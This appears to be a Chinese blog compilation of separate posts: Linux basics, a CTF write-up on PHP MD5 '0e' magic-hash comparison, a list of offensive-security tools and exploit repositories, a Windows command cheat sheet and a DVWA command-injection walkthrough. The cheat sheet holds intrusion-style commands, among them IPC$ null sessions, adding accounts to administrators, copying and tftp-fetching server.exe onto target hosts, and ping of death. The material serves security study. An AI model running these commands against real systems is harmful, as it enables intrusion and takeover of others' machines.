2020年1月

Linux是目前应用最广泛的服务器操作系统,基于Unix,开源免费,由于系统的稳定性和安全性,市场占有率很高,几乎成为程序代码运行的最佳系统环境。linux不仅可以长时间的运行我们编写的程序代码,还可以安装在各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行在linux系统上的。

一、Linux的目录结构

/的下级目录

  • bin (binaries)存放二进制可执行文件
  • sbin (super user binaries)存放二进制可执行文件,只有root才能访问
  • etc (etcetera)存放系统配置文件
  • usr (unix shared resources)用于存放共享的系统资源
  • home 存放用户文件的根目录
  • root 超级用户目录
  • dev (devices)用于存放设备文件
  • lib (library)存放跟文件系统中的程序运行所需要的共享库及内核模块
  • mnt (mount)系统管理员安装临时文件系统的安装点
  • boot 存放用于系统引导时使用的各种文件
  • tmp (temporary)用于存放各种临时文件
  • var (variable)用于存放运行时需要改变数据的文件

二、Linux常用命令

命令格式:命令 -选项 参数 (选项和参数可以为空)

如:ls -la /usr

2.1 操作文件及目录

2.2 系统常用命令

2.3 压缩解压缩

2.4 文件权限操作

  • linux文件权限的描述格式解读

  • r 可读权限,w可写权限,x可执行权限(也可以用二进制表示 111 110 100 --> 764)
  • 第1位:文件类型(d 目录,- 普通文件,l 链接文件)
  • 第2-4位:所属用户权限,用u(user)表示
  • 第5-7位:所属组权限,用g(group)表示
  • 第8-10位:其他用户权限,用o(other)表示
  • 第2-10位:表示所有的权限,用a(all)表示

三、Linux系统常用快捷键及符号命令

四、vim编辑器

vi / vim是Linux上最常用的文本编辑器而且功能非常强大。只有命令,没有菜单,下图表示vi命令的各种模式的切换图。

4.1 修改文本

4.2 定位命令

4.3 替换和取消命令

4.4 删除命令

4.5 常用快捷键

来源:CSDN

title: CTF-MD5碰撞
categories: CTF
tags: [MD5]

date: 2020-01-15 11:02:18

<p style="text-align: left;">0x00:今天天气寒冷,但是再严峻的天气也不能阻挡本屌爱学习的热心,按照国际惯例困了累了做CTF题,于是乎遇到下面这道题</p>

<!-- wp:image {"id":479,"sizeSlug":"large"} -->

<figure class="wp-block-image size-large"></figure>

<!-- /wp:image -->

<p style="text-align: left;">0x01:从源码审计上看很好理解,就是说输入个数值“a”,完了“a”的MD5值要与“QNKCDZO”的一样,而且“a”还不等于“QNKCDZO”,其实从题目“MD5碰撞“我们就已经知道了解题方法了</p>
<p>0x02:我们加密了“QNKCDZO”,发现MD5值是“0e830400451993494058024219903391”</p>
<p>这就很有意思了</p>

<!-- wp:image {"id":481,"sizeSlug":"large"} -->

<figure class="wp-block-image size-large"></figure>

<!-- /wp:image -->

<!-- wp:paragraph -->

<p>0x03:下面科普一波</p>

<!-- /wp:paragraph -->

<div>PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。</div>
<div> <wbr></div>
<div>关于PHP hash比较缺陷详细介绍:</div>
<div>http://www.freebuf.com/news/67007.html</div>
<div> </div>
<div>下面是部分MD5值开头为0e的明文</div>
<div> </div>
<div>QNKCDZO</div>
<div>0e8304004519934940580242<wbr>19903391</div>
<div> <wbr> <wbr></div>
<div>s878926199a</div>
<div>0e5459932745177090343288<wbr>55841020</div>
<div> <wbr> <wbr></div>
<div>s155964671a</div>
<div>0e3427684168224515249741<wbr>17254469</div>
<div> <wbr> <wbr></div>
<div>s214587387a</div>
<div>0e8482404488305379244658<wbr>65611904</div>
<div> <wbr> <wbr></div>
<div>s214587387a</div>
<div>0e8482404488305379244658<wbr>65611904</div>
<div> <wbr> <wbr></div>
<div>s878926199a</div>
<div>0e5459932745177090343288<wbr>55841020</div>
<div> <wbr> <wbr></div>
<div>s1091221200a</div>
<div>0e9406242178565615578163<wbr>27384675</div>
<div> <wbr> <wbr></div>
<div>s1885207154a</div>
<div>0e5093672134182067008420<wbr>08763514</div>
<div> <wbr> <wbr></div>
<div>s1502113478a</div>
<div>0e8615801632915612474043<wbr>81396064</div>
<div> <wbr> <wbr></div>
<div>s1885207154a</div>
<div>0e5093672134182067008420<wbr>08763514</div>
<div> <wbr> <wbr></div>
<div>s1836677006a</div>
<div>0e4810364908676611132600<wbr>34900752</div>
<div> <wbr> <wbr></div>
<div>s155964671a</div>
<div>0e3427684168224515249741<wbr>17254469</div>
<div> <wbr> <wbr></div>
<div>s1184209335a</div>
<div>0e0724858203927733895231<wbr>09082030</div>
<div> <wbr> <wbr></div>
<div>s1665632922a</div>
<div>0e7311980614911630731971<wbr>28363787</div>
<div> <wbr> <wbr></div>
<div>s1502113478a</div>
<div>0e8615801632915612474043<wbr>81396064</div>
<div> <wbr> <wbr></div>
<div>s1836677006a</div>
<div>0e4810364908676611132600<wbr>34900752</div>
<div> <wbr> <wbr></div>
<div>s1091221200a</div>
<div>0e9406242178565615578163<wbr>27384675</div>
<div> <wbr> <wbr></div>
<div>s155964671a</div>
<div>0e3427684168224515249741<wbr>17254469</div>
<div> <wbr> <wbr></div>
<div>s1502113478a</div>
<div>0e8615801632915612474043<wbr>81396064</div>
<div> <wbr> <wbr></div>
<div>s155964671a</div>
<div>0e3427684168224515249741<wbr>17254469</div>
<div> <wbr> <wbr></div>
<div>s1665632922a</div>
<div>0e7311980614911630731971<wbr>28363787</div>
<div> <wbr> <wbr></div>
<div>s155964671a</div>
<div>0e3427684168224515249741<wbr>17254469</div>
<div> <wbr> <wbr></div>
<div>s1091221200a</div>
<div>0e9406242178565615578163<wbr>27384675</div>
<div> <wbr> <wbr></div>
<div>s1836677006a</div>
<div>0e4810364908676611132600<wbr>34900752</div>
<div> <wbr> <wbr></div>
<div>s1885207154a</div>
<div>0e5093672134182067008420<wbr>08763514</div>
<div> <wbr> <wbr></div>
<div>s532378020a</div>
<div>0e2204630958555115075880<wbr>41205815</div>
<div> <wbr> <wbr></div>
<div>s878926199a</div>
<div>0e5459932745177090343288<wbr>55841020</div>
<div> <wbr> <wbr></div>
<div>s1091221200a</div>
<div>0e9406242178565615578163<wbr>27384675</div>
<div> <wbr> <wbr></div>
<div>s214587387a</div>
<div>0e8482404488305379244658<wbr>65611904</div>
<div> <wbr> <wbr></div>
<div>s1502113478a</div>
<div>0e8615801632915612474043<wbr>81396064</div>
<div> <wbr> <wbr></div>
<div>s1091221200a</div>
<div>0e9406242178565615578163<wbr>27384675</div>
<div> <wbr> <wbr></div>
<div>s1665632922a</div>
<div>0e7311980614911630731971<wbr>28363787</div>
<div> <wbr> <wbr></div>
<div>s1885207154a</div>
<div>0e5093672134182067008420<wbr>08763514</div>
<div> <wbr> <wbr></div>
<div>s1836677006a</div>
<div>0e4810364908676611132600<wbr>34900752</div>
<div> <wbr> <wbr></div>
<div>s1665632922a</div>
<div>0e7311980614911630731971<wbr>28363787</div>
<div> <wbr> <wbr></div>
<div>s878926199a</div>
<div>0e5459932745177090343288<wbr>55841020</div>
<p style="text-align: left;">0x04:没错,QNKCDZO也在这里特殊的字符串里面,那么php进行处理MD5值时会认为它的MD5值为0,我们只需要用另一组特殊字符串把值赋给a,那么问题就迎刃而解了</p>

<!-- wp:image {"id":483,"sizeSlug":"large"} -->

<figure class="wp-block-image size-large"></figure>

<!-- /wp:image -->

<p>0x05:附上MD5值是0e开头的字符串生成器</p>

<!-- wp:code {"lineNumbers":true} -->

import hashlib,random,string


while True:
    s = ''.join(random.sample(string.ascii_letters + string.digits, 5))
    m = hashlib.md5(s.encode("utf-8")).hexdigest()
    if m[:2] == "0e":
        print(s)
        break

<!-- /wp:code -->

漏洞及渗透练习平台:

WebGoat漏洞练习环境

https://github.com/WebGoat/WebGoat

https://github.com/WebGoat/WebGoat-Legacy

Damn Vulnerable Web Application(漏洞练习平台)

https://github.com/RandomStorm/DVWA

数据库注入练习平台  

https://github.com/Audi-1/sqli-labs

用node编写的漏洞练习平台,like OWASP Node Goat

https://github.com/cr0hn/vulnerable-node

花式扫描器 :

端口扫描器Nmap

https://github.com/nmap/nmap

本地网络扫描器

https://github.com/SkyLined/LocalNetworkScanner

子域名扫描器

https://github.com/lijiejie/subDomainsBrute

漏洞路由扫描器

https://github.com/jh00nbr/Routerhunter-2.0

迷你批量信息泄漏扫描脚本

https://github.com/lijiejie/BBScan

Waf类型检测工具

https://github.com/EnableSecurity/wafw00f

信息搜集工具 :

社工插件,可查找以email、phone、username的注册的所有网站账号信息

https://github.com/n0tr00t/Sreg

Github信息搜集,可实时扫描查询git最新上传有关邮箱账号密码信息

https://github.com/sea-god/gitscan

github Repo信息搜集工具

https://github.com/metac0rtex/GitHarvester

WEB:

webshell大合集

https://github.com/tennc/webshell

渗透以及web攻击脚本

https://github.com/brianwrf/hackUtils

web渗透小工具大合集

https://github.com/rootphantomer/hack_tools_for_me

XSS数据接收平台

https://github.com/firesunCN/BlueLotus_XSSReceiver

XSS与CSRF工具

https://github.com/evilcos/xssor

Short for command injection exploiter,web向命令注入检测工具

https://github.com/stasinopoulos/commix

数据库注入工具

https://github.com/sqlmapproject/sqlmap

Web代理,通过加载sqlmap api进行sqli实时检测

https://github.com/zt2/sqli-hunter

新版中国菜刀

https://github.com/Chora10/Cknife

.git泄露利用EXP

https://github.com/lijiejie/GitHack

浏览器攻击框架

https://github.com/beefproject/beef

自动化绕过WAF脚本

https://github.com/khalilbijjou/WAFNinja

http命令行客户端,可以从命令行构造发送各种http请求(类似于Curl)

https://github.com/jkbrzt/httpie

浏览器调试利器

https://github.com/firebug/firebug

一款开源WAF

https://github.com/SpiderLabs/ModSecurity

windows域渗透工具:

windows渗透神器

https://github.com/gentilkiwi/mimikatz

Powershell渗透库合集

https://github.com/PowerShellMafia/PowerSploit

Powershell tools合集

https://github.com/clymb3r/PowerShell

Fuzz:

Web向Fuzz工具

https://github.com/xmendez/wfuzz

HTTP暴力破解,撞库攻击脚本

https://github.com/lijiejie/htpwdScan

漏洞利用及攻击框架:

msf

https://github.com/rapid7/metasploit-framework

Poc调用框架,可加载Pocsuite,Tangscan,Beebeeto等

https://github.com/erevus-cn/pocscan

Pocsuite

https://github.com/knownsec/Pocsuite

Beebeeto

https://github.com/n0tr00t/Beebeeto-framework

漏洞POC&EXP:

ExploitDB官方git版本

https://github.com/offensive-security/exploit-database

php漏洞代码分析

https://github.com/80vul/phpcodz

Simple test for CVE-2016-2107

https://github.com/FiloSottile/CVE-2016-2107

CVE-2015-7547 POC

https://github.com/fjserna/CVE-2015-7547

JAVA反序列化POC生成工具

https://github.com/frohoff/ysoserial

JAVA反序列化EXP

https://github.com/foxglovesec/JavaUnserializeExploits

Jenkins CommonCollections EXP

https://github.com/CaledoniaProject/jenkins-cli-exploit

CVE-2015-2426 EXP (windows内核提权)

https://github.com/vlad902/hacking-team-windows-kernel-lpe

use docker to show web attack(php本地文件包含结合phpinfo getshell 以及ssrf结合curl的利用演示)

https://github.com/hxer/vulnapp

php7缓存覆写漏洞Demo及相关工具

https://github.com/GoSecure/php7-opcache-override

XcodeGhost木马样本

https://github.com/XcodeGhostSource/XcodeGhost

中间人攻击及钓鱼

中间人攻击框架

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

https://github.com/byt3bl33d3r/MITMf

Inject code, jam wifi, and spy on wifi users

https://github.com/DanMcInerney/LANs.py

可扩展的中间人代理工具

https://github.com/intrepidusgroup/mallory

wifi钓鱼

https://github.com/sophron/wifiphisher

密码破解:

密码破解工具

https://github.com/shinnok/johnny

本地存储的各类密码提取利器

https://github.com/AlessandroZ/LaZagne

二进制及代码分析工具:

二进制分析工具

https://github.com/devttys0/binwalk

系统扫描器,用于寻找程序和库然后收集他们的依赖关系,链接等信息

https://github.com/quarkslab/binmap

rp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O (doesn't support the FAT binaries) x86/x64 binaries.

https://github.com/0vercl0k/rp

Windows Exploit Development工具

https://github.com/lillypad/badger

二进制静态分析工具(python)

https://github.com/bdcht/amoco

Python Exploit Development Assistance for GDB

https://github.com/longld/peda

对BillGates Linux Botnet系木马活动的监控工具

https://github.com/ValdikSS/billgates-botnet-tracker

木马配置参数提取工具

https://github.com/kevthehermit/RATDecoders

Shellphish编写的二进制分析工具(CTF向)

https://github.com/angr/angr

针对python的静态代码分析工具

https://github.com/yinwang0/pysonar2

一个自动化的脚本(shell)分析工具,用来给出警告和建议

https://github.com/koalaman/shellcheck

基于AST变换的简易Javascript反混淆辅助工具

https://github.com/ChiChou/etacsufbo

EXP编写框架及工具:

二进制EXP编写工具

https://github.com/t00sh/rop-tool

CTF Pwn 类题目脚本编写框架

https://github.com/Gallopsled/pwntools

an easy-to-use io library for pwning development

https://github.com/zTrix/zio

跨平台注入工具( Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.)

https://github.com/frida/frida

隐写:

隐写检测工具

https://github.com/abeluck/stegdetect

各类安全资料:

域渗透教程

https://github.com/l3m0n/pentest_study

python security教程(原文链接http://www.primalsecurity.net/tutorials/python-tutorials/)

https://github.com/smartFlash/pySecurity

data_hacking合集

https://github.com/ClickSecurity/data_hacking

mobile-security-wiki

https://github.com/exploitprotocol/mobile-security-wiki

书籍《reverse-engineering-for-beginners》

https://github.com/veficos/reverse-engineering-for-beginners

一些信息安全标准及设备配置

https://github.com/luyg24/IT_security

APT相关笔记

https://github.com/kbandla/APTnotes

Kcon资料

https://github.com/knownsec/KCon

ctf及黑客资源合集

https://github.com/bt3gl/My-Gray-Hacker-Resources

ctf和安全工具大合集

https://github.com/zardus/ctf-tools

《DO NOT FUCK WITH A HACKER》

https://github.com/citypw/DNFWAH

各类CTF资源

近年ctf writeup大全

https://github.com/ctfs/write-ups-2016

https://github.com/ctfs/write-ups-2015

https://github.com/ctfs/write-ups-2014

fbctf竞赛平台Demo

https://github.com/facebook/fbctf

ctf Resources

https://github.com/ctfs/resources

各类编程资源:

大礼包(什么都有)

https://github.com/bayandin/awesome-awesomeness

bash-handbook

https://github.com/denysdovhan/bash-handbook

python资源大全

https://github.com/jobbole/awesome-python-cn

git学习资料

https://github.com/xirong/my-git

安卓开源代码解析

https://github.com/android-cn/android-open-project-analysis

python框架,库,资源大合集

https://github.com/vinta/awesome-python

JS 正则表达式库(用于简化构造复杂的JS正则表达式)

https://github.com/VerbalExpressions/JSVerbalExpressions

Python:

python 正则表达式库(用于简化构造复杂的python正则表达式)

https://github.com/VerbalExpressions/PythonVerbalExpressions

python任务管理以及命令执行库

https://github.com/pyinvoke/invoke

python exe打包库

https://github.com/pyinstaller/pyinstaller

py3 爬虫框架

https://github.com/orf/cyborg

一个提供底层接口数据包编程和网络协议支持的python库

https://github.com/CoreSecurity/impacket

python requests 库

https://github.com/kennethreitz/requests

python 实用工具合集

https://github.com/mahmoud/boltons

python爬虫系统

https://github.com/binux/pyspider

ctf向 python工具包

https://github.com/P1kachu/v0lt

科学上网:

科学上网工具

https://github.com/XX-net/XX-Net

1. gpedit.msc-----组策略

  2. sndrec32-------录音机

  3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。

  4. explorer-------打开资源管理器

  5. logoff---------注销命令

  6. shutdown-------60秒倒计时关机命令

  7. lusrmgr.msc----本机用户和组

  8. services.msc---本地服务设置

  9. oobe/msoobe /a----检查XP是否激活

  10. notepad--------打开记事本

  11. cleanmgr-------垃圾整理

  12. net start messenger----开始信使服务

  13. compmgmt.msc---计算机管理

  14. net stop messenger-----停止信使服务

  15. conf-----------启动netmeeting

  16. dvdplay--------DVD播放器

  17. charmap--------启动字符映射表

  18. diskmgmt.msc---磁盘管理实用程序

  19. calc-----------启动计算器

  20. dfrg.msc-------磁盘碎片整理程序

  21. chkdsk.exe-----Chkdsk磁盘检查

  22. devmgmt.msc--- 设备管理器

  23. regsvr32 /u *.dll----停止dll文件运行

  24. drwtsn32------ 系统医生

  25. rononce -p----15秒关机

  26. dxdiag---------检查DirectX信息

  27. regedt32-------注册表编辑器

  28. Msconfig.exe---系统配置实用程序

  29. rsop.msc-------组策略结果集

  30. mem.exe--------显示内存使用情况

  31. regedit.exe----注册表

  32. winchat--------XP自带局域网聊天

  33. progman--------程序管理器

  34. winmsd---------系统信息

  35. perfmon.msc----计算机性能监测程序

  36. winver---------检查Windows版本

  37. sfc /scannow-----扫描错误并复原

  38. taskmgr-----任务管理器(2000/xp/2003

  40. wmimgmt.msc----打开windows管理体系结构(WMI)

  41. wupdmgr--------windows更新程序

  42. wscript--------windows脚本宿主设置

  43. write----------写字板

  45. wiaacmgr-------扫描仪和照相机向导

  46. winchat--------XP自带局域网聊天

  49. mplayer2-------简易widnows media player

  50. mspaint--------画图板

  51. mstsc----------远程桌面连接

  53. magnify--------放大镜实用程序

  54. mmc------------打开控制台

  55. mobsync--------同步命令

  57. iexpress-------木马捆绑工具,系统自带

  58. fsmgmt.msc-----共享文件夹管理器

  59. utilman--------辅助工具管理器

  61. dcomcnfg-------打开系统组件服务

  62. ddeshare-------打开DDE共享设置

  110. osk------------打开屏幕键盘

  111. odbcad32-------ODBC数据源管理器

  112. oobe/msoobe /a----检查XP是否激活

  68. ntbackup-------系统备份和还原

  69. narrator-------屏幕“讲述人”

  70. ntmsmgr.msc----移动存储管理器

  71. ntmsoprq.msc---移动存储管理员操作请求

  72. netstat -an----(TC)命令检查接口

  73. syncapp--------创建一个公文包

  74. sysedit--------系统配置编辑器

  75. sigverif-------文件签名验证程序

  76. ciadv.msc------索引服务程序

  77. shrpubw--------创建共享文件夹

  78. secpol.msc-----本地安全策略

  79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

  80. services.msc---本地服务设置

  81. Sndvol32-------音量控制程序

  82. sfc.exe--------系统文件检查器

  83. sfc /scannow---windows文件保护

  84. ciadv.msc------索引服务程序

  85. tourstart------xp简介(安装完成后出现的漫游xp程序)

  86. taskmgr--------任务管理器

  87. eventvwr-------事件查看器

  88. eudcedit-------造字程序

  89. compmgmt.msc---计算机管理

  90. packager-------对象包装程序

  91. perfmon.msc----计算机性能监测程序

  92. charmap--------启动字符映射表

  93. cliconfg-------SQL SERVER 客户端网络实用程序

  94. Clipbrd--------剪贴板查看器

  95. conf-----------启动netmeeting

  96. certmgr.msc----证书管理实用程序

  97. regsvr32 /u *.dll----停止dll文件运行

  98. regsvr32 /u zipfldr.dll------取消ZIP支持

  99. cmd.exe--------CMD命令提示符

操作详解  

      net use ipipc$ " " /user:" " 建立IPC空链接

  net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接

  net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

  net use h: ipc$ 登陆后映射对方C:到本地为H:

  net use ipipc$ /del 删除IPC链接

  net use h: /del 删除映射对方到本地的为H:的映射

  net user 用户名 密码 /add 建立用户

  net user guest /active:yes 激活guest用户

  net user 查看有哪些用户

  net user 帐户名 查看帐户的属性

  net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限

  net start 查看开启了哪些服务

  net start 服务名 开启服务;(如:net start telnet, net start schedule)

  net stop 服务名 停止某服务

  net time 目标ip 查看对方时间

  net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

  net view 查看本地局域网内开启了哪些共享

  net view ip 查看对方局域网内开启了哪些共享

  net config 显示系统网络设置

  net logoff 断开连接的共享

  net pause 服务名 暂停某服务

  net send ip "文本信息" 向对方发信息

  net ver 局域网内正在使用的网络连接类型和信息

  net share 查看本地开启的共享

  net share ipc$ 开启ipc$共享

  net share ipc$ /del 删除ipc$共享

  net share c$ /del 删除C:共享

  net user guest 12345 用guest用户登陆后用将密码改为12345

  net password 密码 更改系统登陆密码

  netstat -a 查看开启了哪些端口,常用netstat -an

  netstat -n 查看端口的网络连接情况,常用netstat -an

  netstat -v 查看正在进行的工作

  netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况

  netstat -s 查看正在使用的所有协议使用情况

  nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名

  tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

  ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

  ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

  ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

  tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

  kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

  del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

  del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

  move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

  fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令

  at id号 开启已注册的某个计划任务

  at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

  at id号 /delete 停止某个已注册的计划任务

  at 查看所有的计划任务

  at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

  finger username @host 查看最近有哪些用户登陆

  telnet ip 端口 远和登陆服务器,默认端口为23

  open ip 连接到IP(属telnet登陆后的命令)

  telnet 在本机上直接键入telnet 将进入本机的telnet

  copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

  copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下

  copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

  copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

  xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

  用参数/e才可连目录下的子目录一起复制到目标地址下。

  tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

  tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机

  ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

  route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

  arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

  start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

  mem 查看cpu使用情况

  attrib 文件名(目录名) 查看某文件(目录)的属性

  attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

  dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

  date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

  set 指定环境变量名称=要指派给变量的字符 设置环境变量

  set 显示当前所有的环境变量

  set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

  pause 暂停批处理程序,并显示出:请按任意键继续....

  if 在批处理程序中执行条件处理(更多说明见if命令及变量)

  goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

  call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

  for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

  echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

  echo 信息 在屏幕上显示出信息

  echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中

  findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello

  find 文件名 查找某文件

  title 标题名字 更改CMD窗口标题名字

  color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

  prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

  ver 在DOS窗口下显示版本信息

  winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

  format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

  md 目录名 创建目录

  replace 源文件 要替换文件的目录 替换文件

  ren 原文件名 新文件名 重命名文件名

  tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

  type 文件名 显示文本文件的内容

  more 文件名 逐屏显示输出文件

  doskey 要锁定的命令=字符

  doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

  taskmgr 调出任务管理器

  chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

  tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

  exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

  path 路径可执行文件的文件名 为可执行文件设置一个路径。

  cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

  regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

  regedit /e 注册表文件名 导出注册表

  cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。

  cacls 文件名 查看文件的访问用户权限列表

  REM 文本内容 在批处理文件中添加注解

  netsh 查看或更改本地网络配置情况

  IIS服务命令

  iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

  iisreset /start或stop 启动(停止)所有Internet服务

  iisreset /restart 停止然后重新启动所有Internet服务

  iisreset /status 显示所有Internet服务状态

  iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

  iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

  iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

  iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

概述

命令执行漏洞是指可以随意执行系统命令,属于高危漏洞之一,也属于代码执行范围内

导致原因

  • 代码过滤不严格

  • 系统漏洞

  • 调用第三方组件


    如:php(system(),shell_exec(),exec(),eval())、 java(struts2)、thinkphp(老牌的php框架)等

&、&&、|、||在windows和linux的命令执行中,都有同样的效果

command1 && command2  命令顺序执行,当command1命令正确时,才会执行后边的命令
command1 & command2	  命令顺序执行,不论command1是否正确,都会执行后边的命令
command1 | command2	  只执行command2的命令,command1是否正确没有任何影响
command1 || command2  只执行commad1的命令,command1错误,就执行command2

步骤

  1. 先用&&、&、|、||判断是否有命令注入

  2. 并查是否有过滤

  3. 是否能绕过

漏洞复现

实验环境,DVWA的low级别,Command Injection

从网页页面我们知道这是提供了ping服务的页面

红色字符是不是很熟悉?没错,这跟我们在windows系统下的ping命令是一样的,所以我们猜测应该是网页调用了系统函数。

然后我们使用&符号,进行命令注入

可以看到命令注入成功,并且回显了执行结果

漏洞分析

查看页面源码,发现使用了shell_exec()函数,并且没有进行输入过滤。

更多高级的绕过技术,等待后期分析